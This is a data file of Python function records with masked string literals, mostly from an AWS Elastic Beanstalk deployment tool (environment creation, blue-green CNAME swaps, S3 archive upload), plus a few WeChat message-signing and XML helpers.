{"signature": "def execute(helper, config, args):", "body": "version_label = args.version_label<EOL>archive = args.archive<EOL>env_config = parse_env_config(config, args.environment)<EOL>option_settings = parse_option_settings(env_config.get('<STR_LIT>', {}))<EOL>cname_prefix = env_config.get('<STR_LIT>', None)<EOL>tier_name = env_config.get('<STR_LIT>', '<STR_LIT>')<EOL>if tier_name != '<STR_LIT>':<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (tier_name, ))<EOL><DEDENT>out(\"<STR_LIT>\")<EOL>new_env_name = None<EOL>if not helper.environment_exists(args.environment):<EOL><INDENT>new_env_name = args.environment<EOL><DEDENT>else:<EOL><INDENT>for i in range(<NUM_LIT:10>):<EOL><INDENT>temp_env_name = args.environment + '<STR_LIT:->' + str(i)<EOL>if not helper.environment_exists(temp_env_name):<EOL><INDENT>new_env_name = temp_env_name<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if new_env_name is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>out(\"<STR_LIT>\" + new_env_name)<EOL>out(\"<STR_LIT>\")<EOL>new_env_cname = None<EOL>for i in range(<NUM_LIT:10>):<EOL><INDENT>temp_cname = cname_prefix + '<STR_LIT:->' + str(i)<EOL>if not helper.environment_name_for_cname(temp_cname):<EOL><INDENT>new_env_cname = temp_cname<EOL>break<EOL><DEDENT><DEDENT>if new_env_cname is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>out(\"<STR_LIT>\" + new_env_cname)<EOL>version_label = upload_application_archive(<EOL>helper, env_config, archive=args.archive, directory=args.directory, version_label=version_label)<EOL>helper.create_environment(new_env_name,<EOL>solution_stack_name=env_config.get('<STR_LIT>'),<EOL>cname_prefix=new_env_cname,<EOL>description=env_config.get('<STR_LIT:description>', None),<EOL>option_settings=option_settings,<EOL>version_label=version_label,<EOL>tier_name=tier_name,<EOL>tier_type=env_config.get('<STR_LIT>'),<EOL>tier_version=env_config.get('<STR_LIT>'))<EOL>helper.wait_for_environments(new_env_name, status='<STR_LIT>', health='<STR_LIT>', include_deleted=False)<EOL>old_env_name = helper.environment_name_for_cname(cname_prefix)<EOL>if old_env_name is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\" + cname_prefix)<EOL><DEDENT>out(\"<STR_LIT>\" + old_env_name)<EOL>out(\"<STR_LIT>\")<EOL>helper.swap_environment_cnames(old_env_name, new_env_name)<EOL>helper.wait_for_environments([old_env_name, new_env_name], status='<STR_LIT>', include_deleted=False)<EOL>if args.termination_delay:<EOL><INDENT>out(\"<STR_LIT>\".format(args.termination_delay))<EOL>time.sleep(args.termination_delay)<EOL><DEDENT>out(\"<STR_LIT>\".format(old_env_name))<EOL>helper.delete_environment(old_env_name)<EOL>helper.delete_unused_versions(versions_to_keep=int(get(config, '<STR_LIT>', <NUM_LIT:10>)))<EOL>", "docstring": "Deploys to an environment", "id": "f15095:m1"}
{"signature": "def execute(helper, config, args):", "body": "out(\"<STR_LIT>\")<EOL>for stack in helper.list_available_solution_stacks():<EOL><INDENT>out(\"<STR_LIT:U+0020>\"+str(stack))<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Lists solution stacks", "id": "f15096:m0"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>', required=True)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>action='<STR_LIT:store_true>')<EOL>", "docstring": "Args for the delete environment command", "id": "f15097:m0"}
{"signature": "def execute(helper, config, args):", "body": "env_config = parse_env_config(config, args.environment)<EOL>environments_to_wait_for_term = []<EOL>environments = helper.get_environments()<EOL>for env in environments:<EOL><INDENT>if env['<STR_LIT>'] == args.environment:<EOL><INDENT>if env['<STR_LIT>'] != '<STR_LIT>':<EOL><INDENT>out(\"<STR_LIT>\" + env['<STR_LIT>']<EOL>+ \"<STR_LIT>\"<EOL>+ env['<STR_LIT>'] + \"<STR_LIT:)>\")<EOL><DEDENT>else:<EOL><INDENT>out(\"<STR_LIT>\"+env['<STR_LIT>'])<EOL>helper.delete_environment(env['<STR_LIT>'])<EOL>environments_to_wait_for_term.append(env['<STR_LIT>'])<EOL><DEDENT><DEDENT><DEDENT>if not args.dont_wait:<EOL><INDENT>helper.wait_for_environments(environments_to_wait_for_term,<EOL>status='<STR_LIT>',<EOL>include_deleted=True)<EOL><DEDENT>out(\"<STR_LIT>\")<EOL>return <NUM_LIT:0><EOL>", "docstring": "Deletes an environment", "id": "f15097:m1"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', action='<STR_LIT:store_true>')<EOL>", "docstring": "Args for the delete application command", "id": "f15098:m0"}
{"signature": "def execute(helper, config, args):", "body": "helper.delete_application()<EOL>if not args.dont_wait:<EOL><INDENT>environment_names = []<EOL>for env in helper.get_environments():<EOL><INDENT>environment_names.append(env['<STR_LIT>'])<EOL><DEDENT>helper.wait_for_environments(environment_names, status='<STR_LIT>')<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Deletes an environment", "id": "f15098:m1"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument('<STR_LIT>', '<STR_LIT>',  help='<STR_LIT>', required=False, nargs='<STR_LIT:+>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', action='<STR_LIT:store_true>')<EOL>", "docstring": "Args for the init command", "id": "f15099:m0"}
{"signature": "def execute(helper, config, args):", "body": "environments = []<EOL>if args.environment:<EOL><INDENT>for env_name in args.environment:<EOL><INDENT>environments.append(env_name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for env_name, env_config in list(get(config, '<STR_LIT>').items()):<EOL><INDENT>environments.append(env_name)<EOL><DEDENT><DEDENT>wait_environments = []<EOL>for env_name in environments:<EOL><INDENT>env = parse_env_config(config, env_name)<EOL>option_settings = parse_option_settings(env.get('<STR_LIT>', {}))<EOL>helper.update_environment(env_name,<EOL>description=env.get('<STR_LIT:description>', None),<EOL>option_settings=option_settings,<EOL>tier_type=env.get('<STR_LIT>'),<EOL>tier_name=env.get('<STR_LIT>'),<EOL>tier_version=env.get('<STR_LIT>'))<EOL>wait_environments.append(env_name)<EOL><DEDENT>if not args.dont_wait:<EOL><INDENT>helper.wait_for_environments(wait_environments, health='<STR_LIT>', status='<STR_LIT>')<EOL><DEDENT>", "docstring": "Updates environments", "id": "f15099:m1"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', action='<STR_LIT:store_true>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', action='<STR_LIT:store_true>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', default=None)<EOL>", "docstring": "Args for the init command", "id": "f15100:m0"}
{"signature": "def execute(helper, config, args):", "body": "<EOL>if not helper.application_exists():<EOL><INDENT>helper.create_application(get(config, '<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>out(\"<STR_LIT>\"+get(config, '<STR_LIT>')+\"<STR_LIT>\")<EOL><DEDENT>environment_names = []<EOL>environments_to_wait_for_green = []<EOL>for env_name, env_config in list(get(config, '<STR_LIT>').items()):<EOL><INDENT>environment_names.append(env_name)<EOL>env_config = parse_env_config(config, env_name)<EOL>if not helper.environment_exists(env_name):<EOL><INDENT>option_settings = parse_option_settings(env_config.get('<STR_LIT>', {}))<EOL>helper.create_environment(env_name,<EOL>solution_stack_name=env_config.get('<STR_LIT>'),<EOL>cname_prefix=env_config.get('<STR_LIT>', None),<EOL>description=env_config.get('<STR_LIT:description>', None),<EOL>option_settings=option_settings,<EOL>tier_name=env_config.get('<STR_LIT>'),<EOL>tier_type=env_config.get('<STR_LIT>'),<EOL>tier_version=env_config.get('<STR_LIT>'),<EOL>version_label=args.version_label)<EOL>environments_to_wait_for_green.append(env_name)<EOL><DEDENT>else:<EOL><INDENT>out(\"<STR_LIT>\"+env_name)<EOL><DEDENT><DEDENT>environments_to_wait_for_term = []<EOL>if args.delete:<EOL><INDENT>environments = helper.get_environments()<EOL>for env in environments:<EOL><INDENT>if env['<STR_LIT>'] not in environment_names:<EOL><INDENT>if env['<STR_LIT>'] != '<STR_LIT>':<EOL><INDENT>out(\"<STR_LIT>\"+env['<STR_LIT>']+\"<STR_LIT>\"+env['<STR_LIT>']+\"<STR_LIT:)>\")<EOL><DEDENT>else:<EOL><INDENT>out(\"<STR_LIT>\"+env['<STR_LIT>'])<EOL>helper.delete_environment(env['<STR_LIT>'])<EOL>environments_to_wait_for_term.append(env['<STR_LIT>'])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if not args.dont_wait and len(environments_to_wait_for_green)><NUM_LIT:0>:<EOL><INDENT>helper.wait_for_environments(environments_to_wait_for_green, status='<STR_LIT>', include_deleted=False)<EOL><DEDENT>if not args.dont_wait and len(environments_to_wait_for_term)><NUM_LIT:0>:<EOL><INDENT>helper.wait_for_environments(environments_to_wait_for_term, status='<STR_LIT>', include_deleted=False)<EOL><DEDENT>out(\"<STR_LIT>\")<EOL>return <NUM_LIT:0><EOL>", "docstring": "The init command", "id": "f15100:m1"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=True)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=True)<EOL>", "docstring": "adds arguments for the swap urls command", "id": "f15101:m0"}
{"signature": "def execute(helper, config, args):", "body": "old_env_name = args.old_environment<EOL>new_env_name = args.new_environment<EOL>out(\"<STR_LIT>\".format(old_env_name))<EOL>out(\"<STR_LIT>\".format(new_env_name,<EOL>old_env_name))<EOL>helper.swap_environment_cnames(old_env_name, new_env_name)<EOL>helper.wait_for_environments([old_env_name, new_env_name], status='<STR_LIT>', include_deleted=False)<EOL>", "docstring": "Swaps old and new URLs.\nIf old_environment was active, new_environment will become the active environment", "id": "f15101:m1"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=True)<EOL>", "docstring": "adds arguments for the describe events command", "id": "f15102:m0"}
{"signature": "def execute(helper, config, args):", "body": "environment_name = args.environment<EOL>(events, next_token) = helper.describe_events(environment_name, start_time=datetime.now().isoformat())<EOL>for event in events:<EOL><INDENT>print((\"<STR_LIT:[>\"+event['<STR_LIT>']+\"<STR_LIT>\"+event['<STR_LIT>']))<EOL><DEDENT>", "docstring": "Describes recent events for an environment.", "id": "f15102:m1"}
{"signature": "def out(message):", "body": "sys.stdout.write(message + \"<STR_LIT:\\n>\")<EOL>sys.stdout.flush()<EOL>", "docstring": "print alias", "id": "f15103:m0"}
{"signature": "def get(vals, key, default_val=None):", "body": "val = vals<EOL>for part in key.split('<STR_LIT:.>'):<EOL><INDENT>if isinstance(val, dict):<EOL><INDENT>val = val.get(part, None)<EOL>if val is None:<EOL><INDENT>return default_val<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return default_val<EOL><DEDENT><DEDENT>return val<EOL>", "docstring": "Returns a dictionary value", "id": "f15103:m2"}
{"signature": "def parse_option_settings(option_settings):", "body": "ret = []<EOL>for namespace, params in list(option_settings.items()):<EOL><INDENT>for key, value in list(params.items()):<EOL><INDENT>ret.append((namespace, key, value))<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Parses option_settings as they are defined in the configuration file", "id": "f15103:m3"}
{"signature": "def parse_env_config(config, env_name):", "body": "all_env = get(config, '<STR_LIT>', {})<EOL>env = get(config, '<STR_LIT>' + str(env_name), {})<EOL>return merge_dict(all_env, env)<EOL>", "docstring": "Parses an environment config", "id": "f15103:m4"}
{"signature": "def create_archive(directory, filename, config={}, ignore_predicate=None, ignored_files=['<STR_LIT>', '<STR_LIT>']):", "body": "with zipfile.ZipFile(filename, '<STR_LIT:w>', compression=zipfile.ZIP_DEFLATED) as zip_file:<EOL><INDENT>root_len = len(os.path.abspath(directory))<EOL>out(\"<STR_LIT>\" + str(filename))<EOL>for root, dirs, files in os.walk(directory, followlinks=True):<EOL><INDENT>archive_root = os.path.abspath(root)[root_len + <NUM_LIT:1>:]<EOL>for f in files:<EOL><INDENT>fullpath = os.path.join(root, f)<EOL>archive_name = os.path.join(archive_root, f)<EOL>if filename in fullpath:<EOL><INDENT>continue<EOL><DEDENT>if ignored_files is not None:<EOL><INDENT>for name in ignored_files:<EOL><INDENT>if fullpath.endswith(name):<EOL><INDENT>out(\"<STR_LIT>\" + str(name))<EOL>continue<EOL><DEDENT><DEDENT><DEDENT>if ignore_predicate is not None:<EOL><INDENT>if not ignore_predicate(archive_name):<EOL><INDENT>out(\"<STR_LIT>\" + str(archive_name))<EOL>continue<EOL><DEDENT><DEDENT>out(\"<STR_LIT>\" + str(archive_name))<EOL>zip_file.write(fullpath, archive_name, zipfile.ZIP_DEFLATED)<EOL><DEDENT><DEDENT><DEDENT>return filename<EOL>", "docstring": "Creates an archive from a directory and returns\nthe file that was created.", "id": "f15103:m6"}
{"signature": "def add_config_files_to_archive(directory, filename, config={}):", "body": "with zipfile.ZipFile(filename, '<STR_LIT:a>') as zip_file:<EOL><INDENT>for conf in config:<EOL><INDENT>for conf, tree in list(conf.items()):<EOL><INDENT>if '<STR_LIT>' in tree:<EOL><INDENT>content = yaml.dump(tree['<STR_LIT>'], default_flow_style=False)<EOL><DEDENT>else:<EOL><INDENT>content = tree.get('<STR_LIT:content>', '<STR_LIT>')<EOL><DEDENT>out(\"<STR_LIT>\" + str(conf) + \"<STR_LIT>\" + str(filename))<EOL>file_entry = zipfile.ZipInfo(conf)<EOL>file_entry.external_attr = tree.get('<STR_LIT>', <NUM_LIT>) << <NUM_LIT:16> <EOL>zip_file.writestr(file_entry, content)<EOL><DEDENT><DEDENT><DEDENT>return filename<EOL>", "docstring": "Adds configuration files to an existing archive", "id": "f15103:m7"}
{"signature": "def __init__(self, aws, wait_time_secs, app_name=None,):", "body": "self.aws = aws<EOL>self.ebs = connect_to_region(aws.region, aws_access_key_id=aws.access_key,<EOL>aws_secret_access_key=aws.secret_key,<EOL>security_token=aws.security_token)<EOL>self.s3 = S3Connection(<EOL>aws_access_key_id=aws.access_key, <EOL>aws_secret_access_key=aws.secret_key, <EOL>security_token=aws.security_token,<EOL>host=(lambda r: '<STR_LIT>' if r == '<STR_LIT>' else '<STR_LIT>' + r + '<STR_LIT>')(aws.region))<EOL>self.app_name = app_name<EOL>self.wait_time_secs = wait_time_secs<EOL>", "docstring": "Creates the EbsHelper", "id": "f15103:c1:m0"}
{"signature": "def swap_environment_cnames(self, from_env_name, to_env_name):", "body": "self.ebs.swap_environment_cnames(source_environment_name=from_env_name,<EOL>destination_environment_name=to_env_name)<EOL>", "docstring": "Swaps cnames for an environment", "id": "f15103:c1:m1"}
{"signature": "def upload_archive(self, filename, key, auto_create_bucket=True):", "body": "try:<EOL><INDENT>bucket = self.s3.get_bucket(self.aws.bucket)<EOL>if ((<EOL>self.aws.region != '<STR_LIT>' and self.aws.region != '<STR_LIT>') and bucket.get_location() != self.aws.region) or (<EOL>self.aws.region == '<STR_LIT>' and bucket.get_location() != '<STR_LIT>') or (<EOL>self.aws.region == '<STR_LIT>' and bucket.get_location() != '<STR_LIT>'):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except S3ResponseError:<EOL><INDENT>bucket = self.s3.create_bucket(self.aws.bucket, location=self.aws.region)<EOL><DEDENT>def __report_upload_progress(sent, total):<EOL><INDENT>if not sent:<EOL><INDENT>sent = <NUM_LIT:0><EOL><DEDENT>if not total:<EOL><INDENT>total = <NUM_LIT:0><EOL><DEDENT>out(\"<STR_LIT>\" + str(sent) + \"<STR_LIT>\" + str(total)+ \"<STR_LIT>\" + str(int(float(max(<NUM_LIT:1>, sent)) / float(total) * <NUM_LIT:100>)) + \"<STR_LIT>\")<EOL><DEDENT>k = Key(bucket)<EOL>k.key = self.aws.bucket_path + key<EOL>k.set_metadata('<STR_LIT:time>', str(time()))<EOL>k.set_contents_from_filename(filename, cb=__report_upload_progress, num_cb=<NUM_LIT:10>)<EOL>", "docstring": "Uploads an application archive version to s3", "id": "f15103:c1:m2"}
{"signature": "def list_available_solution_stacks(self):", "body": "stacks = self.ebs.list_available_solution_stacks()<EOL>return stacks['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>", "docstring": "Returns a list of available solution stacks", "id": "f15103:c1:m3"}
{"signature": "def create_application(self, description=None):", "body": "out(\"<STR_LIT>\" + str(self.app_name))<EOL>self.ebs.create_application(self.app_name, description=description)<EOL>", "docstring": "Creats an application and sets the helpers current\napp_name to the created application", "id": "f15103:c1:m4"}
{"signature": "def delete_application(self):", "body": "out(\"<STR_LIT>\" + str(self.app_name))<EOL>self.ebs.delete_application(self.app_name, terminate_env_by_force=True)<EOL>", "docstring": "Creats an application and sets the helpers current\napp_name to the created application", "id": "f15103:c1:m5"}
{"signature": "def application_exists(self):", "body": "response = self.ebs.describe_applications(application_names=[self.app_name])<EOL>return len(response['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']) > <NUM_LIT:0><EOL>", "docstring": "Returns whether or not the given app_name exists", "id": "f15103:c1:m6"}
{"signature": "def create_environment(self, env_name, version_label=None,<EOL>solution_stack_name=None, cname_prefix=None, description=None,<EOL>option_settings=None, tier_name='<STR_LIT>', tier_type='<STR_LIT>', tier_version='<STR_LIT>'):", "body": "out(\"<STR_LIT>\" + str(env_name) + \"<STR_LIT>\" + str(tier_name) + \"<STR_LIT>\" + str(tier_type))<EOL>self.ebs.create_environment(self.app_name, env_name,<EOL>version_label=version_label,<EOL>solution_stack_name=solution_stack_name,<EOL>cname_prefix=cname_prefix,<EOL>description=description,<EOL>option_settings=option_settings,<EOL>tier_type=tier_type,<EOL>tier_name=tier_name,<EOL>tier_version=tier_version)<EOL>", "docstring": "Creates a new environment", "id": "f15103:c1:m7"}
{"signature": "def environment_exists(self, env_name):", "body": "response = self.ebs.describe_environments(application_name=self.app_name, environment_names=[env_name],<EOL>include_deleted=False)<EOL>return len(response['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']) > <NUM_LIT:0>and response['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>][<EOL>'<STR_LIT>'] != '<STR_LIT>'<EOL>", "docstring": "Returns whether or not the given environment exists", "id": "f15103:c1:m8"}
{"signature": "def rebuild_environment(self, env_name):", "body": "out(\"<STR_LIT>\" + str(env_name))<EOL>self.ebs.rebuild_environment(environment_name=env_name)<EOL>", "docstring": "Rebuilds an environment", "id": "f15103:c1:m9"}
{"signature": "def get_environments(self):", "body": "response = self.ebs.describe_environments(application_name=self.app_name, include_deleted=False)<EOL>return response['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>", "docstring": "Returns the environments", "id": "f15103:c1:m10"}
{"signature": "def delete_environment(self, environment_name):", "body": "self.ebs.terminate_environment(environment_name=environment_name, terminate_resources=True)<EOL>", "docstring": "Deletes an environment", "id": "f15103:c1:m11"}
{"signature": "def update_environment(self, environment_name, description=None, option_settings=[], tier_type=None, tier_name=None,<EOL>tier_version='<STR_LIT:1.0>'):", "body": "out(\"<STR_LIT>\" + str(environment_name))<EOL>messages = self.ebs.validate_configuration_settings(self.app_name, option_settings,<EOL>environment_name=environment_name)<EOL>messages = messages['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>ok = True<EOL>for message in messages:<EOL><INDENT>if message['<STR_LIT>'] == '<STR_LIT:error>':<EOL><INDENT>ok = False<EOL><DEDENT>out(\"<STR_LIT:[>\" + message['<STR_LIT>'] + \"<STR_LIT>\" + str(environment_name) + \"<STR_LIT>\"+ message['<STR_LIT>'] + \"<STR_LIT::>\" + message['<STR_LIT>'] + \"<STR_LIT>\" + message['<STR_LIT>'])<EOL><DEDENT>self.ebs.update_environment(<EOL>environment_name=environment_name,<EOL>description=description,<EOL>option_settings=option_settings,<EOL>tier_type=tier_type,<EOL>tier_name=tier_name,<EOL>tier_version=tier_version)<EOL>", "docstring": "Updates an application version", "id": "f15103:c1:m12"}
{"signature": "def environment_name_for_cname(self, env_cname):", "body": "envs = self.get_environments()<EOL>for env in envs:<EOL><INDENT>if env['<STR_LIT>'] != '<STR_LIT>'and '<STR_LIT>' in envand env['<STR_LIT>']and env['<STR_LIT>'].lower().startswith(env_cname.lower() + '<STR_LIT:.>'):<EOL><INDENT>return env['<STR_LIT>']<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Returns an environment name for the given cname", "id": "f15103:c1:m13"}
{"signature": "def deploy_version(self, environment_name, version_label):", "body": "out(\"<STR_LIT>\" + str(version_label) + \"<STR_LIT>\" + str(environment_name))<EOL>self.ebs.update_environment(environment_name=environment_name, version_label=version_label)<EOL>", "docstring": "Deploys a version to an environment", "id": "f15103:c1:m14"}
{"signature": "def get_versions(self):", "body": "response = self.ebs.describe_application_versions(application_name=self.app_name)<EOL>return response['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>", "docstring": "Returns the versions available", "id": "f15103:c1:m15"}
{"signature": "def create_application_version(self, version_label, key):", "body": "out(\"<STR_LIT>\" + str(version_label) + \"<STR_LIT>\" + str(key))<EOL>self.ebs.create_application_version(self.app_name, version_label,<EOL>s3_bucket=self.aws.bucket, s3_key=self.aws.bucket_path+key)<EOL>", "docstring": "Creates an application version", "id": "f15103:c1:m16"}
{"signature": "def delete_unused_versions(self, versions_to_keep=<NUM_LIT:10>):", "body": "<EOL>environments = self.ebs.describe_environments(application_name=self.app_name, include_deleted=False)<EOL>environments = environments['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>versions_in_use = []<EOL>for env in environments:<EOL><INDENT>versions_in_use.append(env['<STR_LIT>'])<EOL><DEDENT>versions = self.ebs.describe_application_versions(application_name=self.app_name)<EOL>versions = versions['<STR_LIT>']['<STR_LIT>'][<EOL>'<STR_LIT>']<EOL>versions = sorted(versions, reverse=True, key=functools.cmp_to_key(lambda x, y: (x['<STR_LIT>'] > y['<STR_LIT>']) - (x['<STR_LIT>'] < y['<STR_LIT>'])))<EOL>for version in versions[versions_to_keep:]:<EOL><INDENT>if version['<STR_LIT>'] in versions_in_use:<EOL><INDENT>out(\"<STR_LIT>\" + version[\"<STR_LIT>\"] + \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>out(\"<STR_LIT>\" + version[\"<STR_LIT>\"])<EOL>self.ebs.delete_application_version(application_name=self.app_name,<EOL>version_label=version['<STR_LIT>'])<EOL>sleep(<NUM_LIT:2>)<EOL><DEDENT><DEDENT>", "docstring": "Deletes unused versions", "id": "f15103:c1:m17"}
{"signature": "def describe_events(self, environment_name, next_token=None, start_time=None):", "body": "events = self.ebs.describe_events(<EOL>application_name=self.app_name,<EOL>environment_name=environment_name,<EOL>next_token=next_token,<EOL>start_time=start_time + '<STR_LIT>')<EOL>return (events['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'], events['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'])<EOL>", "docstring": "Describes events from the given environment", "id": "f15103:c1:m18"}
{"signature": "def wait_for_environments(self, environment_names, health=None, status=None, version_label=None,<EOL>include_deleted=True, use_events=True):", "body": "<EOL>if not isinstance(environment_names, (list, tuple)):<EOL><INDENT>environment_names = [environment_names]<EOL><DEDENT>environment_names = environment_names[:]<EOL>s = \"<STR_LIT>\" + (\"<STR_LIT:U+002CU+0020>\".join(environment_names)) + \"<STR_LIT>\"<EOL>if health is not None:<EOL><INDENT>s += \"<STR_LIT>\" + health<EOL><DEDENT>else:<EOL><INDENT>s += \"<STR_LIT>\"<EOL><DEDENT>if version_label is not None:<EOL><INDENT>s += \"<STR_LIT>\" + version_label<EOL><DEDENT>if status is not None:<EOL><INDENT>s += \"<STR_LIT>\" + status<EOL><DEDENT>out(s)<EOL>started = time()<EOL>seen_events = list()<EOL>for env_name in environment_names:<EOL><INDENT>(events, next_token) = self.describe_events(env_name, start_time=datetime.now().isoformat())<EOL>for event in events:<EOL><INDENT>seen_events.append(event)<EOL><DEDENT><DEDENT>while True:<EOL><INDENT>if len(environment_names) == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>sleep(<NUM_LIT:10>)<EOL>environments = self.ebs.describe_environments(<EOL>application_name=self.app_name,<EOL>environment_names=environment_names,<EOL>include_deleted=include_deleted)<EOL>environments = environments['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>if len(environments) <= <NUM_LIT:0>:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>for env in environments[:]:<EOL><INDENT>env_name = env['<STR_LIT>']<EOL>msg = \"<STR_LIT>\" + env_name + \"<STR_LIT>\" + str(env['<STR_LIT>'])<EOL>if version_label is not None:<EOL><INDENT>msg = msg + \"<STR_LIT>\" + str(env['<STR_LIT>'])<EOL><DEDENT>if status is not None:<EOL><INDENT>msg = msg + \"<STR_LIT>\" + str(env['<STR_LIT>'])<EOL><DEDENT>good_to_go = True<EOL>if health is not None:<EOL><INDENT>good_to_go = good_to_go and str(env['<STR_LIT>']) == health<EOL><DEDENT>if status is not None:<EOL><INDENT>good_to_go = good_to_go and str(env['<STR_LIT>']) == status<EOL><DEDENT>if version_label is not None:<EOL><INDENT>good_to_go = good_to_go and str(env['<STR_LIT>']) == version_label<EOL><DEDENT>if env['<STR_LIT>'] == '<STR_LIT>' and env['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>if '<STR_LIT>' not in env:<EOL><INDENT>env['<STR_LIT>'] = <NUM_LIT:0><EOL><DEDENT>env['<STR_LIT>'] += <NUM_LIT:1><EOL>if env['<STR_LIT>'] > MAX_RED_SAMPLES:<EOL><INDENT>out('<STR_LIT>')<EOL>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if good_to_go:<EOL><INDENT>out(msg + \"<STR_LIT>\")<EOL>environment_names.remove(env_name)<EOL><DEDENT>else:<EOL><INDENT>out(msg + \"<STR_LIT>\")<EOL><DEDENT>(events, next_token) = self.describe_events(env_name, start_time=datetime.now().isoformat())<EOL>for event in events:<EOL><INDENT>if event not in seen_events:<EOL><INDENT>out(\"<STR_LIT:[>\"+event['<STR_LIT>']+\"<STR_LIT>\"+event['<STR_LIT>'])<EOL>seen_events.append(event)<EOL><DEDENT><DEDENT><DEDENT>elapsed = time() - started<EOL>if elapsed > self.wait_time_secs:<EOL><INDENT>message = \"<STR_LIT>\".format(<EOL>environments=\"<STR_LIT>\".join(environment_names), health=(health or \"<STR_LIT>\")<EOL>)<EOL>raise Exception(message)<EOL><DEDENT><DEDENT>", "docstring": "Waits for an environment to have the given version_label\nand to be in the green state", "id": "f15103:c1:m19"}
{"signature": "def throw_exception(message, exception_class=FormatException):", "body": "raise exception_class(message)<EOL>", "docstring": "my define raise exception function", "id": "f15109:m0"}
{"signature": "def getSHA1(self, token, timestamp, nonce, encrypt):", "body": "try:<EOL><INDENT>sortlist = [token, timestamp, nonce, encrypt]<EOL>sortlist.sort()<EOL>sha = hashlib.sha1()<EOL>sha.update(\"<STR_LIT>\".join(sortlist))<EOL>return WXBizMsgCrypt_OK, sha.hexdigest()<EOL><DEDENT>except Exception:<EOL><INDENT>return WXBizMsgCrypt_ComputeSignature_Error, None<EOL><DEDENT>", "docstring": "\u7528SHA1\u7b97\u6cd5\u751f\u6210\u5b89\u5168\u7b7e\u540d\n        @param token:  \u7968\u636e\n        @param timestamp: \u65f6\u95f4\u6233\n        @param encrypt: \u5bc6\u6587\n        @param nonce: \u968f\u673a\u5b57\u7b26\u4e32\n        @return: \u5b89\u5168\u7b7e\u540d", "id": "f15109:c1:m0"}
{"signature": "def extract(self, xmltext):", "body": "try:<EOL><INDENT>xml_tree = ET.fromstring(xmltext)<EOL>encrypt = xml_tree.find(\"<STR_LIT>\")<EOL>touser_name = xml_tree.find(\"<STR_LIT>\")<EOL>if touser_name != None:<EOL><INDENT>touser_name = touser_name.text<EOL><DEDENT>return WXBizMsgCrypt_OK, encrypt.text, touser_name<EOL><DEDENT>except Exception:<EOL><INDENT>return WXBizMsgCrypt_ParseXml_Error, None, None<EOL><DEDENT>", "docstring": "\u63d0\u53d6\u51faxml\u6570\u636e\u5305\u4e2d\u7684\u52a0\u5bc6\u6d88\u606f\n        @param xmltext: \u5f85\u63d0\u53d6\u7684xml\u5b57\u7b26\u4e32\n        @return: \u63d0\u53d6\u51fa\u7684\u52a0\u5bc6\u6d88\u606f\u5b57\u7b26\u4e32", "id": "f15109:c2:m0"}
{"signature": "def generate(self, encrypt, signature, timestamp, nonce):", "body": "resp_dict = {<EOL>'<STR_LIT>': encrypt,<EOL>'<STR_LIT>': signature,<EOL>'<STR_LIT>': timestamp,<EOL>'<STR_LIT>': nonce,<EOL>}<EOL>resp_xml = self.AES_TEXT_RESPONSE_TEMPLATE % resp_dict<EOL>return resp_xml<EOL>", "docstring": "\u751f\u6210xml\u6d88\u606f\n        @param encrypt: \u52a0\u5bc6\u540e\u7684\u6d88\u606f\u5bc6\u6587\n        @param signature: \u5b89\u5168\u7b7e\u540d\n        @param timestamp: \u65f6\u95f4\u6233\n        @param nonce: \u968f\u673a\u5b57\u7b26\u4e32\n        @return: \u751f\u6210\u7684xml\u5b57\u7b26\u4e32", "id": "f15109:c2:m1"}
